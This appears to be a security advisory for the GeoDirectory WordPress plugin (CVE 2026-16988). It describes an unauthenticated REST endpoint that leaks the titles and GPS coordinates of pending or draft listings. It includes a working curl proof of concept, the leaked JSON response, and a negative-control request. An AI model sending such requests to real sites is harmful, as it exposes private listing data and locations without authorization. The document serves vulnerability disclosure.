GeoDirectory < 2.8.169 – Unauthenticated Pending/Draft Listing Disclosure via markers REST Endpoint | CVE 2026-16988

Description

The plugin does not perform any authorization check when returning map marker data for a single requested listing, allowing unauthenticated users to disclose the title and exact geographic coordinates of non-public (pending or draft) listings.

Proof of Concept

Prerequisites: GeoDirectory active (default post type gd_place). At least one non-public listing exists, e.g. a front-end submission left in "pending" moderation (has a title and map coordinates, but no public permalink; the front end returns 404 for it). Its post ID is enumerable (small integers). Below, <ID> is the pending/draft listing's post ID.

Exploit (fully unauthenticated, no cookies) - supply EXACTLY ONE id (post%5B%5D is post[]), which triggers the single-map status set (publish + pending + draft + inherit + auto-draft):

  curl -s 'https://victim.example/wp-json/geodir/v2/markers?post_type=gd_place&post%5B%5D=<ID>'

Response (HTTP 200) discloses the non-public listing's title (t) and exact GPS (lt / ln):
  {"total":1,...,"items":[{"m":"<ID>","lt":"40.7128","ln":"-74.0060","t":"SECRET Pending HQ","i":"d"}]}

Negative control - supplying TWO ids uses the publish-only 'map' status set, so the pending listing is NOT returned (proving the single-map path is the disclosure vector):

  curl -s 'https://victim.example/wp-json/geodir/v2/markers?post_type=gd_place&post%5B%5D=<ID>&post%5B%5D=999999'
  Response: []